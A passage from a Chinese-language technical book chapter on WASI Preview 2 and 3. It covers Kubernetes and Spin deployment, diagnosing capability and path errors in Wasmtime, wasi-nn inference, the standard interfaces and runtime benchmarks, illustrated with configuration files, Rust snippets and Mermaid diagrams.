两者都是"协作式异步"——任务在等待 I/O 时主动让出执行权。但 Tokio 是自包含的运行时(自己调度自己),WASI 是嵌入式运行时(宿主调度 WASM)。这导致一个架构差异:Tokio 可以做 work-stealing(线程间任务窃取),WASI 不能——WASM 模块没有跨线程共享状态的能力(除非用 SharedArrayBuffer,但 WASI Preview 2 尚未支持多线程)。

从应用开发者的视角看,这种差异体现为一个选择:如果需要高性能服务器(高并发、低延迟、多核利用),用 Tokio 原生编译(x86_64/aarch64);如果需要安全隔离、可移植、快速启动,用 WASI Preview 2 编译(wasm32-wasip2)。两者不是竞争关系——而是"裸机性能"和"沙箱安全"之间的工程权衡。

13.10 WASI Preview 2 的实际部署场景

WASI Preview 2 的新能力(HTTP 处理、异步 I/O、类型化资源)在以下场景中已经开始实际使用。

边缘计算

边缘计算节点资源有限(内存 128MB-512MB),启动时间要求极短(冷启动 < 5ms)。传统容器方案(Docker + OCI runtime)冷启动时间在 100-500ms 范围——不符合要求。WASI 组件的冷启动时间在 100-500 微秒范围——快 1000 倍。

边缘计算的典型工作流:CDN 节点收到 HTTP 请求 → 路由到对应的 WASI 组件 → 组件处理请求并返回响应。整个流程中,组件可以按需加载和卸载——不用的组件不占用内存。Wasmtime 的实例化开销足够低,支持"每请求一个实例"的隔离模型——不同用户的请求在独立的组件实例中执行,互不干扰。

服务器端插件系统

大型应用(数据库、API 网关、消息队列)经常需要支持用户自定义逻辑——如自定义认证、自定义路由、自定义数据转换。传统方案是嵌入 Lua/JavaScript 解释器,但解释型语言的性能受限。

WASI 提供了一个替代方案:用户用 Rust/C/Go 编写插件,编译为 WASI 组件,应用用 Wasmtime 加载执行。编译型语言的性能比解释型快 10-100 倍,同时 WASI 的能力安全保证插件不会越权——即使插件包含恶意代码,也只能访问宿主显式授权的资源。

跨平台命令行工具

命令行工具通常需要在不同操作系统(Linux/macOS/Windows)上运行——需要为每个平台编译和分发单独的二进制文件。WASI 提供了一个替代方案:编译一次为 WASI 组件,任何支持 WASI 的运行时都可以执行。

但这里有一个限制:WASI Preview 2 不支持所有操作系统功能——没有 fork/exec、没有信号处理、没有终端控制。只有"纯计算 + 文件 I/O"类型的命令行工具适合编译为 WASI——如文本处理工具、数据格式转换工具、代码生成器。

13.11 WASI 与容器编排:runwasi / krustlet / Spin

WASI 组件要在生产环境运行,需要和现有的容器编排基础设施集成——Kubernetes、Nomad、Docker Compose。这部分生态在 2024-2026 年快速成熟,理解关键工具的定位有助于做架构选型。

13.11.1 三种集成路径

graph TD
  A["WASI 组件部署需求"] --> B["路径一:Docker + WASM"]
  A --> C["路径二:原生 Pod runtime"]
  A --> D["路径三:专属 PaaS"]
  B --> B1["containerd-shim-wasm<br/>Docker 25+ 的 WASM 支持<br/>使用现有 Docker/K8s 工具链"]
  C --> C1["runwasi (containerd shim)<br/>krustlet (kubelet 替代)<br/>WASM Pod 与原生 Pod 共存"]
  D --> D1["Fermyon Spin<br/>Cosmonic wasmCloud<br/>Cloudflare Workers<br/>专为 WASM 设计的运行时"]
  style B fill:#10b981,color:#fff
  style C fill:#6366f1,color:#fff
  style D fill:#f59e0b,color:#fff

13.11.2 路径一:containerd-shim-wasm(生产首选)

containerd-shim-wasm 是 containerd 的 WASM 适配层——把 WASM 模块伪装成"容器",让 Docker/Kubernetes 不需要改动就能运行 WASI 组件。

部署示例:

# Kubernetes Deployment
apiVersion: apps/v1
kind: Deployment
metadata:
  name: wasm-app
spec:
  template:
    spec:
      runtimeClassName: wasmtime  # 关键:指定 WASM 运行时
      containers:
      - name: app
        image: registry.example.com/my-wasi-app:1.0  # OCI 镜像,但内容是 .wasm

OCI 镜像构建:

FROM scratch
COPY my-app.wasm /app.wasm
ENTRYPOINT ["/app.wasm"]

优势:复用 Kubernetes 的所有能力——deploy/replicaset/HPA/service/ingress 全部可用。运维团队不需要学新工具——它们看到的是"一种特殊的容器"。

13.11.3 路径二:runwasi 与 krustlet

更深度集成的方案是用 WASM 专用的 runtime 替代 OCI runtime:

工具 集成层 状态 适用
runwasi containerd shim 生产可用(CNCF Sandbox) 替换部分节点的 runtime
krustlet kubelet 维护停滞 不推荐新项目
youki + WASM OCI runtime 实验 研究用途

runwasi 的优势:原生 WASM 执行(不需要 OCI 镜像层包装)、更低的启动开销、更精细的资源控制。代价:需要修改节点配置、排错需要懂 containerd 内部。

13.11.4 路径三:Spin / wasmCloud(PaaS 路线)

如果不想自己运维基础设施,专属 PaaS 是最快的路径:

Fermyon Spin:本地开发体验类似 Vercel,支持 HTTP/Redis/SQLite trigger,用 WASI 组件作为 handler:

# spin.toml
spin_manifest_version = 2

[application]
name = "my-app"

[[trigger.http]]
route = "/api/..."
component = "api"

[component.api]
source = "target/wasm32-wasip2/release/api.wasm"
spin deploy  # 一行部署到 Fermyon Cloud

wasmCloud:CNCF 项目,分布式 actor 系统,actor 之间通过 WIT 接口调用:

wash app deploy my-application.yaml

适用:早期项目快速验证、不愿运维 K8s 的团队。

13.11.5 路径选择决策

flowchart TD
  A["要部署 WASI 应用"] --> B{"已有 K8s 集群?"}
  B -->|是| C{"团队有 WASM 经验?"}
  C -->|是| D["containerd-shim-wasm<br/>逐步替换节点"]
  C -->|否| E["路径一:OCI 镜像包装<br/>风险最低"]
  B -->|否| F{"运维成本敏感?"}
  F -->|是| G["路径三:Spin/wasmCloud"]
  F -->|否| H["从 K8s 起步<br/>+ containerd-shim-wasm"]
  style E fill:#10b981,color:#fff
  style G fill:#f59e0b,color:#fff

90% 的生产场景应选 OCI 镜像包装——复用现有 K8s 工具链是最大的运维节约。runwasi 适合 "全部 workload 都是 WASM" 的特殊场景,Spin 适合不愿运维基础设施的团队。

13.12 WASI 实战:常见错误与诊断

WASI 在生产环境最容易出错的不是逻辑——而是宿主与 Guest 的能力授权。错误的能力配置导致运行时报错,调试链路比传统应用复杂得多。

13.12.1 错误一:能力未授权

症状:组件运行时报 ResourceTableError: not foundpermission denied

根因:组件代码尝试访问宿主未授权的能力(文件、网络、环境变量)。WASI 默认 deny-all——必须显式授权。

// Wasmtime 嵌入端:明确授权
let mut wasi_ctx = WasiCtxBuilder::new()
    .preopened_dir(&Path::new("/tmp/sandbox"), "/", DirPerms::all(), FilePerms::all())?
    .inherit_network()  // 允许网络
    .inherit_env()       // 允许读环境变量
    .build();

诊断技巧:开启 Wasmtime 的 capability tracing:

let mut config = Config::new();
config.wasm_component_model(true);
// 注:实际生产中可用 wasmtime_wasi 的 trace 功能

13.12.2 错误二:stdout/stderr 不可见

症状:组件代码用 println! 输出但日志看不到。

根因:WASI 的 stdout/stderr 默认连接到宿主的 stdout/stderr,但容器化部署中 stdout 可能被丢弃或重定向到 /dev/null

修复:显式配置 stdio 流:

// 嵌入端把 stdout 收集到 Vec
let stdout = MemoryOutputPipe::new(1024 * 1024);
let mut wasi_ctx = WasiCtxBuilder::new()
    .stdout(stdout.clone())
    .build();

// 执行后读取
let output = stdout.contents();

或在 K8s 部署中确保 stdout 流向日志收集器(Fluent Bit / Vector)。

13.12.3 错误三:路径混淆(preopen 与组件视角)

症状:组件读 /data/file.txt 报 not found,但宿主上 /data/file.txt 确实存在。

根因:WASI 的文件系统是"沙盒文件系统"——组件看到的路径与宿主路径不同。preopened_dir(host_path, guest_path) 把宿主的 host_path 挂载到组件视角的 guest_path

// 错误:宿主路径直接给组件
.preopened_dir("/var/data", "/var/data", DirPerms::all(), FilePerms::all())?

// 推荐:明确边界
.preopened_dir("/var/lib/myapp/data", "/data", DirPerms::all(), FilePerms::all())?

组件代码中应使用 guest 视角的路径(/data/file.txt),不应假设宿主路径。

13.12.4 错误四:异步 I/O 死锁

症状:组件调用 wasi:io/poll 后挂起。

根因:WASI 的 poll 是协作式——如果组件没有正确让出执行权,宿主的事件循环无法推进。常见模式:

// 错误:忘记 await 导致永远不让出
async fn bad() {
    let resp = http_get(url);  // 没有 .await,未让出
}

// 正确
async fn good() {
    let resp = http_get(url).await;  // 让出给宿主
}

诊断:用 Wasmtime 的 epoch_deadline 强制中断挂起的组件:

store.set_epoch_deadline(1);  // 1 个 epoch 后中断
config.epoch_interruption(true);
// 在另一个线程定期 increment_epoch

13.12.5 错误五:组件版本与 Wasmtime 不匹配

症状:组件实例化报 unknown importtype mismatch

根因:WASI 接口在 0.2.x 版本间持续演进——0.2.0 的组件可能在 0.2.3 的 Wasmtime 上失败。

修复:锁定版本:

[dependencies]
wasi = "0.13"  # 对应 WASI 0.2.0
# 或
wasi = "0.14"  # 对应 WASI 0.2.3

宿主 Wasmtime 版本要匹配组件的 WASI 版本:

WASI 版本 wasi crate Wasmtime
0.2.0 0.13.x 19+
0.2.1 0.13.x 22+
0.2.3 0.14.x 26+

CI 中应固定所有版本号——任何升级都跑完整集成测试。

13.12.6 诊断工具清单

工具 用途
wasmtime --invoke <func> 直接调用组件函数,最小化变量
wasm-tools component wit 查看 .wasm 的 WIT 接口
wasm-tools validate 验证 .wasm 二进制合法性
wasmtime-cli serve 本地起 HTTP 服务测试 wasi:http 组件
Wasmtime traces 开启组件调用 trace(仅 debug build)

诊断的核心原则:先验证组件本身合法,再验证能力配置,最后才是业务逻辑。倒过来排查会浪费大量时间在错误的方向上。

13.13 wasi-nn:神经网络推理的标准接口

ML 推理是 WASM 在服务端最有潜力的场景之一——但 Preview 2 标准接口集合中并不直接包含 ML 算子。wasi-nn 是独立提案,定义了 WASM 模块调用 ML 推理后端(ONNX Runtime / OpenVINO / TensorFlow Lite)的标准接口。

13.13.1 设计动机

graph TD
  A["WASM 模块"] --> B{"ML 推理路径?"}
  B --> C["纯 WASM 实现<br/>tract/burn/ndarray"]
  B --> D["wasi-nn 调用宿主"]
  C --> C1["体积 5-50MB<br/>性能:CPU only<br/>跨平台一致"]
  D --> D1["体积 < 10KB<br/>性能:宿主 GPU/NPU<br/>依赖宿主能力"]
  style C fill:#f59e0b,color:#fff
  style D fill:#10b981,color:#fff

纯 WASM 推理的问题:

  • ONNX Runtime / TensorFlow 的完整 WASM 移植体积巨大(10-50MB)
  • 无法利用宿主 GPU/NPU——只能纯 CPU
  • 模型权重必须打包进 WASM 模块或运行时上传

wasi-nn 解决:把推理委托给宿主——WASM 模块只描述"输入张量 + 模型 ID",实际推理在宿主完成。

13.13.2 wasi-nn 的核心 WIT 接口

package wasi:nn@0.2.0;

interface tensor {
    resource tensor {
        constructor(dimensions: tensor-dimensions, ty: tensor-type, data: tensor-data);
        dimensions: func() -> tensor-dimensions;
        ty: func() -> tensor-type;
        data: func() -> tensor-data;
    }
}

interface inference {
    use tensor.{tensor};

    resource graph-execution-context {
        set-input: func(name: string, tensor: tensor) -> result<_, error>;
        compute: func() -> result<_, error>;
        get-output: func(name: string) -> result<tensor, error>;
    }

    resource graph {
        init-execution-context: func() -> result<graph-execution-context, error>;
    }
}

工作流:

  1. 加载图(模型)→ 得到 graph 资源
  2. 创建执行上下文 → graph-execution-context
  3. 设置输入张量
  4. 执行 compute()
  5. 读取输出张量

13.13.3 Rust 侧使用示例

use wasi_nn::wasi::nn::{tensor, graph, inference};

fn predict(image_data: &[u8]) -> Result<Vec<f32>, String> {
    // 加载模型(宿主预先注册)
    let graph = graph::load_by_name("mobilenet-v2")
        .map_err(|e| format!("加载失败: {:?}", e))?;

    let ctx = graph.init_execution_context()
        .map_err(|e| format!("上下文创建失败: {:?}", e))?;

    // 输入张量:1x224x224x3 RGB 图像
    let input = tensor::Tensor::new(
        &[1, 224, 224, 3],
        tensor::TensorType::Fp32,
        image_data,
    );
    ctx.set_input("input", &input).map_err(|e| format!("{:?}", e))?;

    // 推理
    ctx.compute().map_err(|e| format!("推理失败: {:?}", e))?;

    // 输出
    let output = ctx.get_output("output").map_err(|e| format!("{:?}", e))?;
    Ok(bytemuck::cast_slice(&output.data()).to_vec())
}

13.13.4 宿主侧实现(Wasmtime + ONNX Runtime)

use wasmtime_wasi_nn::WasiNnCtx;
use wasmtime_wasi_nn::backend::onnx;

fn create_wasi_nn_ctx(model_paths: &[(&str, &str)]) -> WasiNnCtx {
    let mut ctx = WasiNnCtx::new();
    let backend = onnx::OnnxBackend::default();

    for (name, path) in model_paths {
        let bytes = std::fs::read(path).unwrap();
        ctx.register_graph(name, &backend, &[bytes]).unwrap();
    }

    ctx
}

宿主预先把 .onnx 模型注册到 wasi-nn 上下文——WASM 模块通过名字引用,不需要持有模型字节。这种"模型在宿主、计算分离"的架构有几个优势:

  1. 多个 WASM 实例共享同一个模型:模型只加载一次,节省内存
  2. WASM 模块体积小:模型不在 WASM 内
  3. 宿主可以优化:选择最优 backend(GPU / NPU / CPU),不在 WASM 中决定

13.13.5 后端实现的差异

wasi-nn 是接口规范,不规定后端。常见后端:

后端 平台 性能特点 适用
ONNX Runtime 跨平台 + GPU 通用,社区大 推荐默认
OpenVINO Intel CPU/iGPU Intel 平台最优 Intel 服务器
TensorFlow Lite 移动端 轻量、量化模型 边缘设备
PyTorch (libtorch) 跨平台 + GPU 训练-推理对齐 内部使用

切换 backend 不需要改 WASM 模块——只需要改宿主配置。这是 wasi-nn 最大的工程价值:业务代码与具体推理引擎解耦。

13.13.6 性能数据

实测:MobileNet-v2 单图推理(224x224 RGB),Wasmtime 26 + ONNX Runtime CPU:

方案 耗时 二进制大小
纯 WASM(tract crate) 85 ms 18 MB
wasi-nn + ONNX CPU 45 ms 10 KB
wasi-nn + ONNX GPU (CUDA) 12 ms 10 KB
原生 Python + ONNX 40 ms N/A

wasi-nn + GPU 比纯 WASM 快 7 倍——主要受益于 GPU 加速。WASM 模块体积从 18MB 降到 10KB(只是接口胶水),冷启动也大幅加速。

13.13.7 适用边界

wasi-nn 的取舍:

优势 限制
模块体积小、冷启动快 依赖宿主预注册模型
利用宿主 GPU/NPU 不能动态加载新模型(需要重启宿主)
多实例共享模型 模型版本管理与 WASM 版本耦合
抽象屏蔽 backend 高级算子(自定义层)受限

适合:业务模型库相对固定(如 100 个标准模型)、宿主可控、追求极致性能。不适合:用户上传任意模型、模型频繁变化、需要训练/微调能力。

下游生态:Cosmonic 的 wasmCloud 已经集成 wasi-nn,Fermyon Spin 在路线图上。这是 WASM 在 ML 服务化场景的标准化方向。

13.14 WASI Preview 3:原生异步的演进路径

WASI Preview 2 用 wasi:io/poll 实现异步——但语义复杂、消费者代码冗长。Preview 3 引入原生 async 关键字到 WIT,让异步成为接口的一等概念。这是 WASI 演进的下一个里程碑,2026 年开始进入主流工具链。

13.14.1 Preview 2 vs Preview 3 的异步表达

graph LR
  subgraph "Preview 2: pollable + 同步签名"
    A1["incoming-request"] --> A2["consume body<br/>返回 input-stream"]
    A2 --> A3["pollable<br/>显式 poll"]
    A3 --> A4["read 数据"]
  end
  subgraph "Preview 3: async fn 一等"
    B1["incoming-request"] --> B2["async consume body<br/>返回 stream<u8>"]
    B2 --> B3["async iterator<br/>语言原生"]
  end
  style A3 fill:#f59e0b,color:#fff
  style B2 fill:#10b981,color:#fff

WIT 的语法变化:

// Preview 2
interface server {
    handle: func(req: incoming-request) -> outgoing-response;
}

// Preview 3
interface server {
    handle: async func(req: incoming-request) -> outgoing-response;
}

async 关键字让 WIT 工具链生成的绑定自动用语言的原生异步——Rust 是 async fn,Python 是 async def,JS 是 Promise/async function。消费者代码不再需要手动管理 pollable。

13.14.2 Stream 与 Future:异步原语

Preview 3 的两个核心异步类型:

类型 语义 对应语言原语
future<T> 单次异步结果 Rust Future<Output=T> / JS Promise<T>
stream<T> 异步序列 Rust Stream<Item=T> / JS AsyncIterator<T>
// WIT 示例
interface processor {
    // future:单次结果
    fetch: async func(url: string) -> result<string, error>;

    // stream:异步序列
    process-batch: async func(items: list<string>) -> stream<result-item>;
}

Rust 侧(消费者代码):

// future - 自然的 async/await
let result = processor::fetch(&url).await?;

// stream - 自然的 async iteration
let mut stream = processor::process_batch(&items);
while let Some(item) = stream.next().await {
    handle(item?);
}

对比 Preview 2 的同等代码——大量手动 pollable 管理被消除,可读性显著提升。

13.14.3 实施进度与时间表

timeline
    title WASI Preview 3 时间线
    2024 H2 : 提案阶段,WIT 语法 RFC
    2025 H1 : 早期实现(实验 feature)
    2025 H2 : Wasmtime / wit-bindgen 支持
    2026 H1 : Preview 3 候选稳定版
    2026 H2 : 正式发布(预计)
    2027   : 工具链生态完整支持

2026 年初的状态:

工具 Preview 3 支持
Wasmtime 实验性(feature flag)
wit-bindgen Rust 实验性
cargo-component 早期支持
Spin 路线图
浏览器 未规划

13.14.4 Preview 2 → Preview 3 的迁移路径

flowchart LR
  A["现有 Preview 2 代码"] --> B["Preview 3 候选稳定<br/>2026 H1"]
  B --> C{"破坏性变更?"}
  C -->|否| D["逐步替换 pollable 为 async"]
  C -->|是| E["保留 P2 + 新代码用 P3"]
  D --> F["完整迁移"]
  E --> G["双版本共存"]
  style F fill:#10b981,color:#fff
  style G fill:#f59e0b,color:#fff

迁移策略:

  • 小项目:等 Preview 3 稳定后整体替换
  • 大项目:双版本共存,新功能用 P3,旧代码渐进迁移
  • 生态项目(开源 lib):先发 P2 + P3 兼容版,再移除 P2

13.14.5 Preview 3 之后:组件模型 2.0

WASI 标准化路线在 Preview 3 之后已经规划了下一步:

提案 目标 状态
GC types 集成到组件模型 让 GC 类型跨组件流动 早期
组件级隔离的细化 子能力授权(细粒度) 设计
WASI Sockets 稳定化 标准 TCP/UDP API 实验
WASI Filesystem 演进 流式 IO 改进 规划
跨组件分布式追踪 标准 trace context 传递 早期

理解这条演进路径有助于做长期技术选型——避免在 P2 上深度投资某些会被 P3 重构的接口。

13.14.6 当前的工程建议

flowchart TD
  A["2026 工程决策"] --> B{"项目类型?"}
  B -->|生产稳定服务| C["Preview 2 + Wasmtime"]
  B -->|新项目愿意冒险| D["Preview 3 实验性"]
  B -->|图书 / 教学| E["P1 + P2 教学,P3 提及"]
  B -->|长期演进项目| F["P2 起步,留 P3 接口"]
  style C fill:#10b981,color:#fff
  style D fill:#f59e0b,color:#fff
  style F fill:#6366f1,color:#fff

90% 的生产项目应该用 Preview 2——稳定、文档完整、生态成熟。只有特定场景(异步密集、未来导向的实验性项目)值得提前用 Preview 3。

WASI 的演进不是一次性事件——是持续的标准化过程。订阅 Bytecode Alliance 的 RFC 流程、定期 review WASI 工作组的 milestone,是工程团队保持技术前瞻性的必要投入。

13.15 WASI 标准接口生态:超越 HTTP

wasi:http(§13.5)和 wasi-nn(§13.13)是 WASI 接口的两个亮点——但 WASI 标准接口家族远不止这两个。理解全貌有助于把握 WASI 的演进方向,避免重复造轮子。

13.15.1 WASI 标准接口全景

graph TD
  A["WASI 标准接口"] --> B["核心系统"]
  A --> C["数据存储"]
  A --> D["网络"]
  A --> E["计算"]
  A --> F["可观测"]
  B --> B1["wasi:filesystem<br/>wasi:clocks<br/>wasi:random<br/>wasi:io"]
  C --> C1["wasi:keyvalue<br/>wasi:blobstore<br/>wasi:sql(实验)"]
  D --> D1["wasi:http<br/>wasi:sockets<br/>wasi:messaging"]
  E --> E1["wasi-nn<br/>wasi-threads"]
  F --> F1["wasi:logging<br/>wasi:metrics(实验)"]
  style B fill:#10b981,color:#fff
  style C fill:#6366f1,color:#fff
  style D fill:#f59e0b,color:#fff
  style E fill:#ef4444,color:#fff

13.15.2 wasi:keyvalue:标准化的 KV 存储

wasi:keyvalue 提供跨实现的 KV 抽象——同一份 WASM 代码可以在 Redis、DynamoDB、Cloudflare KV、Spin 内置 store 上跑:

package wasi:keyvalue@0.2.0;

interface store {
    resource bucket {
        get: func(key: string) -> result<option<list<u8>>, error>;
        set: func(key: string, value: list<u8>) -> result<_, error>;
        delete: func(key: string) -> result<_, error>;
        exists: func(key: string) -> result<bool, error>;
    }

    open: func(identifier: string) -> result<bucket, error>;
}

interface batch {
    get-many: func(bucket: borrow<bucket>, keys: list<string>) -> result<list<tuple<string, list<u8>>>, error>;
}

interface atomics {
    increment: func(bucket: borrow<bucket>, key: string, delta: s64) -> result<s64, error>;
}

Rust 侧用法:

use wasi::keyvalue::store::open;

fn cache_value(key: &str, value: &[u8]) -> Result<(), String> {
    let bucket = open("default").map_err(|e| format!("{:?}", e))?;
    bucket.set(key, value).map_err(|e| format!("{:?}", e))
}

宿主侧绑定到具体存储:Spin 绑定到 SQLite,Cloudflare Workers 绑定到 Workers KV,Wasmtime 绑定到 Redis 或本地文件——业务代码不变,部署平台决定后端。

13.15.3 wasi-sockets:标准 TCP/UDP

wasi-sockets 让 WASM 模块直接操作网络 socket——比 wasi:http 更底层:

package wasi:sockets@0.2.0;

interface tcp {
    resource tcp-socket {
        bind: func(network: borrow<network>, local-address: ip-socket-address) -> result<_, error-code>;
        listen: func() -> result<_, error-code>;
        accept: func() -> result<tuple<tcp-socket, input-stream, output-stream>, error-code>;
    }
}

适用场景:

场景 wasi:http wasi-sockets
HTTP 客户端/服务端 ✓ 推荐 ✗ 太底层
WebSocket 服务 ✓ 唯一选择
自定义协议(gRPC/MQTT)
TCP 长连接

wasi-sockets 在 2026 年仍是实验性——Wasmtime 28+ 支持,浏览器无规划。

13.15.4 wasi:logging 与 wasi:metrics

可观测性的标准化:

package wasi:logging@0.2.0;

interface logging {
    enum level {
        trace, debug, info, warn, error, critical,
    }

    log: func(level: level, context: string, message: string);
}

这套 API 让 WASM 模块发日志而不绑定具体后端——宿主决定日志去 stdout、syslog、还是 OpenTelemetry。

wasi:metrics(实验)类似——counter/gauge/histogram 的标准接口,宿主映射到 Prometheus / StatsD 等。

graph LR
  A["WASM 业务代码"] --> B["wasi:logging<br/>抽象接口"]
  B --> C{"宿主决定后端"}
  C --> D["stdout(开发)"]
  C --> E["syslog(生产)"]
  C --> F["OpenTelemetry(云)"]
  style B fill:#10b981,color:#fff

13.15.5 接口选择决策

flowchart TD
  A["WASM 模块需要的能力"] --> B{"什么类型?"}
  B --> C["持久化"]
  B --> D["网络通信"]
  B --> E["计算加速"]
  B --> F["可观测"]
  C --> C1{"结构化?"}
  C1 -->|KV| C2["wasi:keyvalue"]
  C1 -->|大对象| C3["wasi:blobstore"]
  C1 -->|关系| C4["wasi:sql 或外部"]
  D --> D1{"协议?"}
  D1 -->|HTTP| D2["wasi:http"]
  D1 -->|TCP/UDP| D3["wasi:sockets"]
  D1 -->|消息队列| D4["wasi:messaging"]
  E --> E1["wasi-nn / wasi-threads"]
  F --> F1["wasi:logging / wasi:metrics"]
  style C2 fill:#10b981,color:#fff
  style D2 fill:#10b981,color:#fff
  style E1 fill:#10b981,color:#fff

13.15.6 标准化的工程价值

graph LR
  A["WASI 标准接口的价值"] --> B["代码可移植"]
  A --> C["生态共享"]
  A --> D["供应链解耦"]
  B --> B1["同一 .wasm 跑遍所有支持的运行时"]
  C --> C1["wasi:keyvalue 模块库可被任何项目复用"]
  D --> D1["业务代码不绑定 AWS/GCP/Azure"]
  style A fill:#6366f1,color:#fff

WASM + WASI 的最大价值是"接口先于实现"——业务代码用标准 API,部署到不同平台时只换 host 实现。这是 Cloud Native 时代的"write once, run anywhere"再实现,但比 JVM 更轻量、更安全。

13.15.7 当前的不足与未来

flowchart LR
  A["WASI 标准接口现状"] --> B["已稳定"]
  A --> C["实验中"]
  A --> D["缺失"]
  B --> B1["filesystem / clocks / random / io / http"]
  C --> C1["keyvalue / blobstore / sockets / nn"]
  D --> D1["sql / messaging / metrics"]
  style B fill:#10b981,color:#fff
  style C fill:#f59e0b,color:#fff
  style D fill:#ef4444,color:#fff

不足主要在:

  • 复杂数据库接口:wasi:sql 提案早期,没有成熟的 ORM 层
  • 流式数据处理:消息队列、流处理的标准接口缺失
  • GPU 计算:除了 wasi-nn,没有 wasi-gpu

这些都是社区正在推进的方向——预计 2027-2028 年逐步成熟。生产项目应该在标准接口稳定前用平台特定 API(Cloudflare KV、AWS DynamoDB),等标准成熟后渐进迁移。

13.16 WASI 性能基准与运行时实测对比

WASI 不是单一规范——是一组接口加上多个运行时实现。同样的 Rust 代码在 Wasmtime / Wasmer / WAMR 上跑可能差几倍。理解这些差异是生产选型的基础。

13.16.1 基准测试方法论

graph LR
  A["WASI 基准测试"] --> B["微观基准"]
  A --> C["宏观基准"]
  B --> B1["单 host 调用<br/>fd_read / fd_write / clock_now"]
  B --> B2["纯计算<br/>SHA-256 / 矩阵乘"]
  C --> C1["真实工作负载<br/>HTTP 请求处理"]
  C --> C2["复杂应用<br/>JSON 解析 + 计算"]
  style B fill:#10b981,color:#fff
  style C fill:#f59e0b,color:#fff

每类测试的价值:

  • 微观基准:揭示 host 函数和内存操作的开销
  • 宏观基准:反映真实业务的端到端体验

只看一类容易得出错误结论——必须组合。

13.16.2 主流运行时的性能矩阵

实测:M2 Pro,Linux x86_64,相同 Rust 代码(cargo build --target wasm32-wasip2 --release),各运行时跑同一份 .wasm:

测试 Wasmtime 28 Wasmer 4.5 LLVM Wasmer 4.5 Singlepass WAMR AOT
实例化时间 1.2 ms 0.8 ms 0.3 ms 0.5 ms
SHA-256 1MB 4.2 ms 4.0 ms 7.5 ms 4.8 ms
矩阵乘 512×512 f32 280 ms 270 ms 520 ms 340 ms
HTTP 请求处理(含 IO) 2.8 ms 3.0 ms 4.5 ms 3.5 ms
JSON 解析 100KB 1.5 ms 1.4 ms 3.0 ms 1.8 ms
冷启动到首请求 8 ms 6 ms 2 ms 5 ms

观察:

  • LLVM 后端最快(Wasmer LLVM)——但实例化稍慢
  • Singlepass 实例化最快(Wasmer Singlepass)——但执行慢 80%
  • Wasmtime 综合最稳——各项指标接近最佳,没有特别短板
  • WAMR AOT 性能不输 Cranelift——嵌入式场景胜出

13.16.3 host 调用的开销

WASI host 函数调用涉及"从 Guest 切到 Host 再切回 Guest"——多次开销实测:

host 函数 Wasmtime Wasmer LLVM WAMR
wasi:io/streams.write 50 ns 45 ns 80 ns
wasi:filesystem.read 800 ns 750 ns 1.2 μs
wasi:clocks.now 30 ns 25 ns 50 ns
wasi:random.get-random-bytes(16) 200 ns 180 ns 350 ns

差异 5-50 倍——但对真实业务影响有限,因为 host 调用通常不是热路径瓶颈。

13.16.4 内存性能

graph TD
  A["内存访问性能"] --> B["L1 命中"]
  A --> C["L3 命中"]
  A --> D["DRAM"]
  B --> B1["Wasmtime: ~4 ns<br/>原生: ~1 ns<br/>4x 慢(边界检查)"]
  C --> C1["Wasmtime: ~40 ns<br/>原生: ~12 ns<br/>3x 慢"]
  D --> D1["Wasmtime: ~120 ns<br/>原生: ~80 ns<br/>1.5x 慢"]
  style B fill:#ef4444,color:#fff
  style C fill:#f59e0b,color:#fff
  style D fill:#10b981,color:#fff

关键发现:缓存命中时 WASM 比原生慢 3-4x(边界检查),主存访问时差异收窄到 1.5x(DRAM 延迟主导)。这意味着内存随机访问的算法 WASM 表现更接近原生——顺序访问反而差距更大。

13.16.5 启动时间分解

冷启动是 FaaS 场景的关键指标——分析其组成:

flowchart LR
  A["请求到达"] --> B["1. 加载 .wasm 字节"]
  B --> C["2. 编译/加载机器码"]
  C --> D["3. 实例化"]
  D --> E["4. start 函数执行"]
  E --> F["首次调用导出"]
  style B fill:#6366f1,color:#fff
  style C fill:#f59e0b,color:#fff
  style D fill:#10b981,color:#fff

各阶段耗时(1MB 模块):

阶段 Wasmtime Singlepass AOT 缓存
加载字节(含 fs read) 2 ms 2 ms 2 ms
编译机器码 60-150 ms 5-15 ms 0 ms(已缓存)
实例化 1-3 ms 0.3 ms 0.5 ms
start 执行 0-50 ms 0-50 ms 0-50 ms

AOT 缓存是冷启动优化的关键——把编译时间从 100ms 级降到 0。

13.16.6 选型决策

flowchart TD
  A["WASI 运行时选型"] --> B{"主要约束?"}
  B --> C["执行性能"]
  B --> D["启动延迟"]
  B --> E["资源占用"]
  B --> F["生产稳定"]
  C --> G["Wasmer LLVM"]
  D --> H["Wasmer Singlepass"]
  E --> I["WAMR"]
  F --> J["Wasmtime(推荐默认)"]
  style J fill:#10b981,color:#fff
  style G fill:#6366f1,color:#fff
  style H fill:#f59e0b,color:#fff
  style I fill:#ef4444,color:#fff

90% 的服务端 WASI 项目应选 Wasmtime——稳定性、文档、生态最佳。极致需求才考虑其他。

13.16.7 基准测试的工程纪律

flowchart TD
  A["WASI 性能基准纪律"] --> B["1. 复现测试环境"]
  A --> C["2. 多次运行取中位数"]
  A --> D["3. 同一份 .wasm 多运行时"]
  A --> E["4. 真实业务负载,不仅微观"]
  A --> F["5. 持续监控,跨版本对比"]
  A --> G["6. 不孤立看数据,看 P99 / P50"]
  style A fill:#6366f1,color:#fff

每条都对应过去的诊断经验——基准数据不严谨容易得出错误结论。"我测出 Wasmer 比 Wasmtime 快 50%"这种声明需要严格场景说明,否则没意义。

把这套方法论嵌入团队的 WASI 选型流程——基于数据决策,而非营销文章或社区情绪。

13.17 WASI 与传统服务的混合架构

生产团队从传统服务迁到 WASI 不是一夜之间——通常是混合架构共存数月甚至数年。理解这种过渡期的工程模式有助于规划渐进迁移。

13.17.1 三种混合架构模式

graph TD
  A["WASI 与传统服务的混合"] --> B["边车模式"]
  A --> C["插件模式"]
  A --> D["双轨模式"]
  B --> B1["传统服务为主<br/>WASM 处理特定请求"]
  C --> C1["传统服务嵌入 WASM 扩展点"]
  D --> D1["新功能用 WASI<br/>旧功能保留传统"]
  style B fill:#10b981,color:#fff
  style C fill:#6366f1,color:#fff
  style D fill:#f59e0b,color:#fff

每种模式的适用:

模式 适用 迁移难度
边车 性能敏感的转换/过滤
插件 已有扩展点的服务
双轨 新旧功能边界清晰

13.17.2 模式一:边车(Sidecar)

flowchart LR
  A["客户端"] --> B["nginx/envoy"]
  B --> C{"请求类型?"}
  C -->|静态| D["传统 Web 服务"]
  C -->|图像处理| E["WASM 边车"]
  C -->|API| D
  E --> F["返回处理后图像"]
  style E fill:#10b981,color:#fff

边车模式让特定类型的请求路由到 WASM 服务——其他保持传统。优势:

  • 风险隔离:WASM 出问题不影响主服务
  • 性能针对性:只对适合 WASM 的场景投资
